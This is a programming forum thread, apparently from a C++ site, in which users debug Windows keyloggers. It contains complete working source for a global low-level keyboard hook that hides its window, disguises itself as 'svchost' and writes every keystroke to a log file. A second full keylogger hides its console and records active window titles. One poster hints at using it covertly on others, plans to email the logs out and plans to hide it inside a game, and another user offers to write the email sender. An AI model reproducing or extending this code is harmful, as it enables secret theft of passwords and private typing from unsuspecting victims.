Messages are only delivered to the program when it has focus

Before I start I want to make it clear that yes, I am writing a keylogging program. I'm not doing this for any illegal purposes contrary to what you may think. I'm doing it purely to understand how they (and keyboard hooks in general) work and also because I wanted to play around with the windows API again.

That aside, the problem I am having is that keystrokes only seem to be delivered when the program gets focus. If it doesn't have focus, it doesn't print them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#include <fstream>
#include <iostream>
#include <string>
#include <windows.h>

//#define NDEBUG	1
#define USE_BUFFERING	0

#define OUTFILE_NAME	"\\Windows\\Logs\\WinKey.log"	/* Output file */
#define CLASSNAME	" "
#define WINDOWTITLE	" "
#if USE_BUFFERING
# define KEYBUFFER_SIZE	8	/* keybuffer is flushed whenever
				 * keybuffer.length() returns this
				 */
#endif

HHOOK		kbdhook;	/* Keyboard hook handle */
bool		running;	/* Used in main loop */
bool		flushbuffer;	/* Used to hold key presses until the buffer is flushed */
std::string	keybuffer;	/* Holds keypresses until ready to output them */

/**
 * \brief Called by Windows automagically every time a key is pressed (regardless
 * of who has focus)
 */
__declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
{
	if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
		static bool capslock = false;
		static bool shift = false;
		char tmp[0xFF] = {0};
		std::string str;
		DWORD msg = 1;
		KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
		bool printable;

		/*
		 * Get key name as string
		 */
		msg += (st_hook.scanCode << 16);
		msg += (st_hook.flags << 24);
		GetKeyNameText(msg, tmp, 0xFF);
		str = std::string(tmp);

		printable = (str.length() <= 1) ? true : false;

		/*
		 * Non-printable characters only:
		 * Some of these (namely; newline, space and tab) will be
		 * made into printable characters.
		 * Others are encapsulated in brackets ('[' and ']').
		 */
		if (!printable) {
			/*
			 * Keynames that change state are handled here.
			 */
			if (str == "CAPSLOCK")
				capslock = !capslock;
			else if (str == "SHIFT")
				shift = true;

			/*
			 * Keynames that may become printable characters are
			 * handled here.
			 */
			if (str == "ENTER") {
				str = "\n";
				printable = true;
			} else if (str == "SPACE") {
				str = " ";
				printable = true;
			} else if (str == "TAB") {
				str = "\t";
				printable = true;
			} else {
				str = ("[" + str + "]");
			}
		}

		/*
		 * Printable characters only:
		 * If shift is on and capslock is off or shift is off and
		 * capslock is on, make the character uppercase.
		 * If both are off or both are on, the character is lowercase
		 */
		if (printable) {
			if (shift == capslock) { /* Lowercase */
				for (size_t i = 0; i < str.length(); ++i)
					str[i] = tolower(str[i]);
			} else { /* Uppercase */
				for (size_t i = 0; i < str.length(); ++i)
					str[i] = toupper(str[i]);
			}

			shift = false;
		}

		keybuffer += str;
#if USE_BUFFERING
		if (keybuffer.length() >= KEYBUFFER_SIZE)
			flushbuffer = true;
#else
		flushbuffer = true;
#endif
	}

	return CallNextHookEx(kbdhook, code, wp, lp);
}


/**
 * \brief Called by DispatchMessage() to handle messages
 * \param hwnd	Window handle
 * \param msg	Message to handle
 * \param wp
 * \param lp
 * \return 0 on success
 */
LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
	switch (msg) {
		case WM_CLOSE: case WM_DESTROY:
			running = false;
			break;
		default:
			/* Call default message handler */
			return DefWindowProc(hwnd, msg, wp, lp);
	}

	return 0;
}

int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
		LPSTR cmdline, int ncmdshow)
{
	/*
	 * Set up window
	 */
	HWND		hwnd;
	HWND		fgwindow = GetForegroundWindow(); /* Current foreground window */
	MSG		msg;
	WNDCLASSEX	windowclass;
	HINSTANCE	modulehandle;

	windowclass.hInstance = thisinstance;
	windowclass.lpszClassName = CLASSNAME;
	windowclass.lpfnWndProc = windowprocedure;
	windowclass.style = CS_DBLCLKS;
	windowclass.cbSize = sizeof(WNDCLASSEX);
	windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
	windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
	windowclass.hCursor  = LoadCursor(NULL, IDC_ARROW);
	windowclass.lpszMenuName = NULL;
	windowclass.cbClsExtra = 0;
	windowclass.cbWndExtra = 0;
	windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;

	if (!(RegisterClassEx(&windowclass)))
		return 1;

	hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
			CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, HWND_DESKTOP, NULL,
			thisinstance, NULL);
	if (!(hwnd))
		return 1;

	/*
	 * Make the window invisible
	 */
#ifdef NDEBUG
	ShowWindow(hwnd, SW_HIDE);
#else
	/*
	 * Debug mode: Make the window visible
	 */
	ShowWindow(hwnd, SW_SHOW);
#endif
	UpdateWindow(hwnd);
	SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */

	/*
	 * Hook keyboard input so we get it too
	 */
	if (!(modulehandle = GetModuleHandle(NULL))) {
		std::string tmp;
		if (!(GetModuleFileName(thisinstance, (LPSTR)tmp.c_str(), MAX_PATH)))
			return 1;
		if (!(modulehandle = LoadLibrary((LPCSTR)tmp.c_str())))
			MessageBox(hwnd, tmp.c_str(), "This program is: ", MB_OK);
	}

	kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);

	/*
	 * Main loop
	 */
	running = true;
	std::ofstream outfile(OUTFILE_NAME, std::ios_base::out);

	while (running) {
		/*
		 * Get messages, dispatch to window procedure
		 */
		if (!GetMessage(&msg, NULL, 0, 0))
			running = false; /*
					  * Note: This is not a "return" or
					  * "break" so the rest of the loop is
					  * done. This way, we never miss keys
					  * even if closed (but we still exit).
					  */
		TranslateMessage(&msg);
		DispatchMessage(&msg);
		/*
		 * Output and flush key buffer if flushbuffer set or running unset
		 * (we flush the buffer on exit regardless of whether or not
		 * flushbuffer is set)
		 */
#if USE_BUFFERING
		if (!running || flushbuffer) {
#endif
#ifndef NDEBUG
			std::cout << keybuffer << std::flush;
#endif
			outfile << keybuffer << std::flush;
			keybuffer = "";
#if USE_BUFFERING
			flushbuffer = false;
		 }
#endif
	}

	outfile.close();
	return 0;
}


At first, I though messages were delivered but keystrokes simply weren't printed because of the line if (!running || flushbuffer) but this is effectively commented out because USE_BUFFERING is 0.

---

Code is GPL because it's derived from another piece of code, which is why the program loads itself as a DLL (I don't know if it has to do that, but I think it's a cool idea).
Last edited on
I suspect that messages are not sent to your program when it doesn't have focus. Moving file and console output code to handlekeys function fixes the problem:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
#include <fstream>
#include <iostream>
#include <string>
#include <windows.h>

std::ofstream outfile;


//#define NDEBUG	1
#define USE_BUFFERING	0

#define OUTFILE_NAME	"\\Windows\\Logs\\WinKey.log"	/* Output file */
#define CLASSNAME	" "
#define WINDOWTITLE	" "
#if USE_BUFFERING
# define KEYBUFFER_SIZE	8	/* keybuffer is flushed whenever
				 * keybuffer.length() returns thisv
				 */
#endif

HHOOK		kbdhook;	/* Keyboard hook handle */
bool		running;	/* Used in main loop */
bool		flushbuffer;	/* Used to hold key presses until the buffer is flushed */
std::string	keybuffer;	/* Holds keypresses until ready to output them */

/**
 * \brief Called by Windows automagically every time a key is pressed (regardless
 * of who has focus)
 */
__declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
{

	if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
		static bool capslock = false;
		static bool shift = false;
		char tmp[0xFF] = {0};
		std::string str;
		DWORD msg = 1;
		KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
		bool printable;

		/*
		 * Get key name as string
		 */
		msg += (st_hook.scanCode << 16);
		msg += (st_hook.flags << 24);
		GetKeyNameText(msg, tmp, 0xFF);
		str = std::string(tmp);

		printable = (str.length() <= 1) ? true : false;

		/*
		 * Non-printable characters only:
		 * Some of these (namely; newline, space and tab) will be
		 * made into printable characters.
		 * Others are encapsulated in brackets ('[' and ']').
		 */
		if (!printable) {
			/*
			 * Keynames that change state are handled here.
			 */
			if (str == "CAPSLOCK")
				capslock = !capslock;
			else if (str == "SHIFT")
				shift = true;

			/*
			 * Keynames that may become printable characters are
			 * handled here.
			 */
			if (str == "ENTER") {
				str = "\n";
				printable = true;
			} else if (str == "SPACE") {
				str = " ";
				printable = true;
			} else if (str == "TAB") {
				str = "\t";
				printable = true;
			} else {
				str = ("[" + str + "]");
			}
		}

		/*
		 * Printable characters only:
		 * If shift is on and capslock is off or shift is off and
		 * capslock is on, make the character uppercase.
		 * If both are off or both are on, the character is lowercase
		 */
		if (printable) {
			if (shift == capslock) { /* Lowercase */
				for (size_t i = 0; i < str.length(); ++i)
					str[i] = tolower(str[i]);
			} else { /* Uppercase */
				for (size_t i = 0; i < str.length(); ++i)
					str[i] = toupper(str[i]);
			}

			shift = false;
		}

		keybuffer += str;
#if USE_BUFFERING
		if (keybuffer.length() >= KEYBUFFER_SIZE)
			flushbuffer = true;
#else
		flushbuffer = true;
#endif
	}

//
// ----------- code moved from WinMain ---------------------------------------------
//


		/*
		 * Output and flush key buffer if flushbuffer set or running unset
		 * (we flush the buffer on exit regardless of whether or not
		 * flushbuffer is set)
		 */
#if USE_BUFFERING
		if (!running || flushbuffer) {
#endif
#ifndef NDEBUG
			std::cout << keybuffer << std::flush;


#endif
			outfile << keybuffer << std::flush;
			keybuffer = "";
#if USE_BUFFERING
			flushbuffer = false;
		 }
#endif

//--------

	return CallNextHookEx(kbdhook, code, wp, lp);
}


/**
 * \brief Called by DispatchMessage() to handle messages
 * \param hwnd	Window handle
 * \param msg	Message to handle
 * \param wp
 * \param lp
 * \return 0 on success
 */
LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
	switch (msg) {
		case WM_CLOSE: case WM_DESTROY:
			running = false;
			break;
		default:
			/* Call default message handler */
			return DefWindowProc(hwnd, msg, wp, lp);
	}

	return 0;
}

int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
		LPSTR cmdline, int ncmdshow)
{
	/*
	 * Set up window
	 */
	HWND		hwnd;
	HWND		fgwindow = GetForegroundWindow(); /* Current foreground window */
	MSG		msg;
	WNDCLASSEX	windowclass;
	HINSTANCE	modulehandle;

	windowclass.hInstance = thisinstance;
	windowclass.lpszClassName = CLASSNAME;
	windowclass.lpfnWndProc = windowprocedure;
	windowclass.style = CS_DBLCLKS;
	windowclass.cbSize = sizeof(WNDCLASSEX);
	windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
	windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
	windowclass.hCursor  = LoadCursor(NULL, IDC_ARROW);
	windowclass.lpszMenuName = NULL;
	windowclass.cbClsExtra = 0;
	windowclass.cbWndExtra = 0;
	windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;

	if (!(RegisterClassEx(&windowclass)))
		return 1;

	hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
			CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, HWND_DESKTOP, NULL,
			thisinstance, NULL);
	if (!(hwnd))
		return 1;

	/*
	 * Make the window invisible
	 */
#ifdef NDEBUG
	ShowWindow(hwnd, SW_HIDE);
#else
	/*
	 * Debug mode: Make the window visible
	 */
	ShowWindow(hwnd, SW_SHOW);
#endif
	UpdateWindow(hwnd);
	SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */

	/*
	 * Hook keyboard input so we get it too
	 */
	if (!(modulehandle = GetModuleHandle(NULL))) {
		std::string tmp;
		if (!(GetModuleFileName(thisinstance, (LPSTR)tmp.c_str(), MAX_PATH)))
			return 1;
		if (!(modulehandle = LoadLibrary((LPCSTR)tmp.c_str())))
			MessageBox(hwnd, tmp.c_str(), "This program is: ", MB_OK);
	}

	kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);

	/*
	 * Main loop
	 */
	running = true;
	outfile.open(OUTFILE_NAME, std::ios_base::out);

	while (running) {
		/*
		 * Get messages, dispatch to window procedure
		 */
		if (!GetMessage(&msg, NULL, 0, 0))
			running = false; /*
					  * Note: This is not a "return" or
					  * "break" so the rest of the loop is
					  * done. This way, we never miss keys
					  * even if closed (but we still exit).
					  */
		TranslateMessage(&msg);
		DispatchMessage(&msg);


	}

	outfile.close();
	return 0;
}

Ok. Thank you NULL.

Edit: It kind of works.

If I compile and run it from Code::Blocks, it works. If I don't, it doesn't work at all.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
#include <fstream>
#include <iostream>
#include <string>
#include <windows.h>

#define	DEBUG	1

#define OUTFILE_NAME	"\\Windows\\Logs\\WinKey.log"	/* Output file */
#define CLASSNAME	"winkey"
#define WINDOWTITLE	"svchost"

HHOOK		kbdhook;	/* Keyboard hook handle */
bool		running;	/* Used in main loop */

/**
 * \brief Called by Windows automagically every time a key is pressed (regardless
 * of who has focus)
 */
__declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
{
	if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
		static bool capslock = false;
		static bool shift = false;
		char tmp[0xFF] = {0};
		std::string str;
		DWORD msg = 1;
		KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
		bool printable;

		/*
		 * Get key name as string
		 */
		msg += (st_hook.scanCode << 16);
		msg += (st_hook.flags << 24);
		GetKeyNameText(msg, tmp, 0xFF);
		str = std::string(tmp);

		printable = (str.length() <= 1) ? true : false;

		/*
		 * Non-printable characters only:
		 * Some of these (namely; newline, space and tab) will be
		 * made into printable characters.
		 * Others are encapsulated in brackets ('[' and ']').
		 */
		if (!printable) {
			/*
			 * Keynames that change state are handled here.
			 */
			if (str == "CAPSLOCK")
				capslock = !capslock;
			else if (str == "SHIFT")
				shift = true;

			/*
			 * Keynames that may become printable characters are
			 * handled here.
			 */
			if (str == "ENTER") {
				str = "\n";
				printable = true;
			} else if (str == "SPACE") {
				str = " ";
				printable = true;
			} else if (str == "TAB") {
				str = "\t";
				printable = true;
			} else {
				str = ("[" + str + "]");
			}
		}

		/*
		 * Printable characters only:
		 * If shift is on and capslock is off or shift is off and
		 * capslock is on, make the character uppercase.
		 * If both are off or both are on, the character is lowercase
		 */
		if (printable) {
			if (shift == capslock) { /* Lowercase */
				for (size_t i = 0; i < str.length(); ++i)
					str[i] = tolower(str[i]);
			} else { /* Uppercase */
				for (size_t i = 0; i < str.length(); ++i) {
					if (str[i] >= 'A' && str[i] <= 'Z') {
						str[i] = toupper(str[i]);
					}
				}
			}

			shift = false;
		}

#ifdef DEBUG
		std::cout << str;
#endif
		std::ofstream outfile(OUTFILE_NAME, std::ios_base::app);
		outfile << str;
		outfile.close();
	}

	return CallNextHookEx(kbdhook, code, wp, lp);
}


/**
 * \brief Called by DispatchMessage() to handle messages
 * \param hwnd	Window handle
 * \param msg	Message to handle
 * \param wp
 * \param lp
 * \return 0 on success
 */
LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
	switch (msg) {
		case WM_CLOSE: case WM_DESTROY:
			running = false;
			break;
		default:
			/* Call default message handler */
			return DefWindowProc(hwnd, msg, wp, lp);
	}

	return 0;
}

int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
		LPSTR cmdline, int ncmdshow)
{
	/*
	 * Set up window
	 */
	HWND		hwnd;
	HWND		fgwindow = GetForegroundWindow(); /* Current foreground window */
	MSG		msg;
	WNDCLASSEX	windowclass;
	HINSTANCE	modulehandle;

	windowclass.hInstance = thisinstance;
	windowclass.lpszClassName = CLASSNAME;
	windowclass.lpfnWndProc = windowprocedure;
	windowclass.style = CS_DBLCLKS;
	windowclass.cbSize = sizeof(WNDCLASSEX);
	windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
	windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
	windowclass.hCursor  = LoadCursor(NULL, IDC_ARROW);
	windowclass.lpszMenuName = NULL;
	windowclass.cbClsExtra = 0;
	windowclass.cbWndExtra = 0;
	windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;

	if (!(RegisterClassEx(&windowclass)))
		return 1;

	hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
			CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, HWND_DESKTOP, NULL,
			thisinstance, NULL);
	if (!(hwnd))
		return 1;

	/*
	 * Make the window invisible
	 */
#ifdef DEBUG
	/*
	 * Debug mode: Make the window visible
	 */
	ShowWindow(hwnd, SW_SHOW);
#else
	ShowWindow(hwnd, SW_HIDE);
#endif
	UpdateWindow(hwnd);
	SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */

	/*
	 * Hook keyboard input so we get it too
	 */
	if (!(modulehandle = GetModuleHandle(NULL))) {
		std::string tmp;
		if (!(GetModuleFileName(thisinstance, (LPSTR)tmp.c_str(), MAX_PATH)))
			return 1;
		if (!(modulehandle = LoadLibrary((LPCSTR)tmp.c_str())))
			MessageBox(hwnd, tmp.c_str(), "This program is: ", MB_OK);
	}

	kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);

	running = true;

	/*
	 * Main loop
	 */
	while (running) {
		/*
		 * Get messages, dispatch to window procedure
		 */
		if (!GetMessage(&msg, NULL, 0, 0))
			running = false; /*
					  * This is not a "return" or
					  * "break" so the rest of the loop is
					  * done. This way, we never miss keys
					  * when destroyed but we still exit.
					  */
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	return 0;
}
Last edited on
In case you want to have a look at a GetAsyncKeyState approach... Not very elegant, but it works. And it proved to be very useful, if you know what I mean... :) I'm currently trying to make it send the logs by email (in fact, I don't do this in C++. I found a working script for autoit, made it an exe and plan on calling it from here). Then, I'll write a little game and make this run in the background... :P

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#define _WIN32_WINNT 0x0500
#include <cstdlib>
#include <iostream>
#include <process.h>
#include <windows.h>
#include <fstream>
#include <string>

using namespace std;

ofstream fout;
char file1[1024]; 
void log(const string & str);
void get_active_window_name(void*par);
bool log_wname=false;
bool end_wname=false;
string cur_wname="";

int main(int argc, char *argv[])
{
    
    HWND hWnd = GetConsoleWindow();
    ShowWindow( hWnd, SW_HIDE );
    
    const int fplen=1024;
    char fullpath[fplen];
    GetFullPathName(argv[0],fplen,fullpath,0);
   

    int length=strlen(fullpath);
    char replacement[]="logs.txt";
    int i;
    for (i=length-1; fullpath[i]!='\\'; i--);
    strcpy(fullpath+i+1,replacement);
    strcpy(file1,fullpath);
    
    UINT cur_key;
    BYTE key_state[256];
    bool is_pressed;
    bool print;
    WORD ascii[2];
    char cur_char;
    bool quit=false;
    bool shift;
    bool ctrl;
    bool alt;
    bool esc;
    string output;
    
    const unsigned int delay=25;
    const unsigned int no_print_time=500;
    unsigned int time_pressed[256];
    for (cur_key=0; cur_key<256; cur_key++) time_pressed[cur_key]=0;
    
    _beginthread(get_active_window_name,0,0);
    
    while (!quit)
    {
          shift=GetAsyncKeyState(VK_SHIFT);
          ctrl=GetAsyncKeyState(VK_CONTROL);
          alt=GetAsyncKeyState(VK_MENU);
          esc=GetAsyncKeyState(VK_ESCAPE);
          if (shift&&ctrl&&alt&&esc) {quit=true; continue;}
          //quit with ctrl+alt+shift+esc :D
          
          GetKeyboardState(key_state);
          for (cur_key=0; cur_key<256; cur_key++)
          {
              output="";
              
              is_pressed=GetAsyncKeyState(cur_key);
              if (!is_pressed) {time_pressed[cur_key]=0; continue;}
              time_pressed[cur_key]+=delay;
              
              shift=GetAsyncKeyState(VK_SHIFT);
              ctrl=GetAsyncKeyState(VK_CONTROL);
              alt=GetAsyncKeyState(VK_MENU);
              
              if (ctrl) output+="(ctrl)";
              if (alt) output+="(alt)";
              if (shift) output+="(shift)";
              
              print=false;
              switch (cur_key)
              {
                     case VK_BACK: output+="(backspace)"; print=true; break;
                     case VK_CAPITAL: output+="(caps lock)"; print=true; break;
                     case VK_ESCAPE: output+="(esc)"; print=true; break;
              }
              
              if (time_pressed[cur_key]>delay && time_pressed[cur_key]<=no_print_time) print=false;
              if (print) {log(output); continue;}
              print=(ToAscii(cur_key,0,key_state,ascii,0)>0);
              if (time_pressed[cur_key]>delay && time_pressed[cur_key]<=no_print_time) print=false;
              if (!print) continue;
              
              cur_char=char(ascii[0]&255);             
              if (isspace(cur_char)) cur_char='_';
              output+=cur_char;
              
              log(output);     
          }
          Sleep(delay);
    }
    end_wname=true;
    Sleep(2000);
    
    ShowWindow( hWnd, SW_SHOW );
    system("pause");
    return 0;
}

void log(const string & str)
{
     string temp="";
     if (log_wname) 
     {
        temp="\n\n(active window name: \""+cur_wname+"\")\n";
        log_wname=false;
     }
     temp+=str;
     
     fout.open(file1,ios::app);
     if (fout.is_open()) fout << temp;
     fout.close();
}

void get_active_window_name(void*par)
{
    HWND window;
    HANDLE process;
    char name[256];
    
    while (!end_wname)
    {    
         Sleep(500);
         window=GetForegroundWindow();
         GetWindowText(window,name,256);
         
    
         if (cur_wname!=name) log_wname=true;
         cur_wname=name;
    }
    
    _endthread();
}

Last edited on
What exactly doesn't work for you? It worked for me. Also, OUTFILE_NAME should be "C:\\Windows\\Logs\\WinKey.log"
@m4ster r0shi,
You could use Python's SMTP library (smtplib) to send e-mail. If you want I could write it for you.

Null wrote:
What exactly doesn't work for you?

Basically, if I run the program from my IDE (Code::Blocks) it work. If I run it from the Windows shell or command-line it doesn't do anything.

Also, OUTFILE_NAME should be "C:\\Windows\\Logs\\WinKey.log"

Orly? http://i29.tinypic.com/2q0nlaf.png
chrisname wrote:
You could use Python's SMTP library (smtplib) to send e-mail.

Thanks, I'll check this out too. Maybe it's smaller than what I already have...

chrisname wrote:
If you want I could write it for you.

LOL... Thanks for the offer but it's ok. I already have a tested and working script for AutoIt. I can just use this anytime.

chrisname wrote:
Basically, if I run the program from my IDE (Code::Blocks) it work. If I run it from the Windows shell or command-line it doesn't do anything.

What I'm about to say may sound stupid, but maybe the hook procedure (handlekeys) has to actually be inside a DLL.

http://msdn.microsoft.com/en-us/library/ms644990%28v=VS.85%29.aspx (check the parameters section)
Well, the program that I based some of my code off of didn't use a DLL. I basically copied that idea.
Oh... Did it hook globally? If you only hook your app it's ok, but if you hook globally or another (specific) app it's another thing...

EDIT:

MSDN says:
A global hook monitors messages for all threads in the same desktop as the calling thread. A thread-specific hook monitors messages for only an individual thread. A global hook procedure can be called in the context of any application in the same desktop as the calling thread, so the procedure must be in a separate DLL module. A thread-specific hook procedure is called only in the context of the associated thread. If an application installs a hook procedure for one of its own threads, the hook procedure can be in either the same module as the rest of the application's code or in a DLL. If the application installs a hook procedure for a thread of a different application, the procedure must be in a DLL.

found here -> http://msdn.microsoft.com/en-us/library/ms644959%28VS.85%29.aspx (hook procedures)
Last edited on
I think that's why the program loads itself as a module:
1
2
3
4
5
6
7
	if (!(modulehandle = GetModuleHandle(NULL))) {
		std::string tmp;
		if (!(GetModuleFileName(thisinstance, (LPSTR)tmp.c_str(), MAX_PATH)))
			return 1;
		if (!(modulehandle = LoadLibrary((LPCSTR)tmp.c_str())))
			MessageBox(hwnd, tmp.c_str(), "This program is: ", MB_OK);
	}
Ok, I didn't notice that... Well, I tried it too and it works ok, no matter where I run it from.
Last edited on
Hmm... Strange.
EDIT:
Just a suggestion: try to compile the code with a different compiler and see what will happen.

you can also replace
1
2
3
4
5
6
7
	if (!(modulehandle = GetModuleHandle(NULL))) {
		std::string tmp;
		if (!(GetModuleFileName(thisinstance, (LPSTR)tmp.c_str(), MAX_PATH)))
			return 1;
		if (!(modulehandle = LoadLibrary((LPCSTR)tmp.c_str())))
			MessageBox(hwnd, tmp.c_str(), "This program is: ", MB_OK);
	}

with

modulehandle=GetModuleHandle(NULL);

Also, OUTFILE_NAME should be "C:\\Windows\\Logs\\WinKey.log"

Orly? http://i29.tinypic.com/2q0nlaf.png

ORLY? http://i32.tinypic.com/118g1fr.jpg
So \\Windows\\Logs\\WinKey.log may not if windows directory and your program are not on the same disk.
Last edited on
Point taken.

How can I find out what path the Windows directory is on? I don't want to hard-code "C:\" because some people might have the Windows directory somewhere else.
Oh. Thanks.
Still any problems? If yes I wil lgive you an example for a global hook with external dll. The only other solutions I know besides of an external dll would be to create/inject a driver and this is way more troublesome.
Topic archived. No new replies allowed.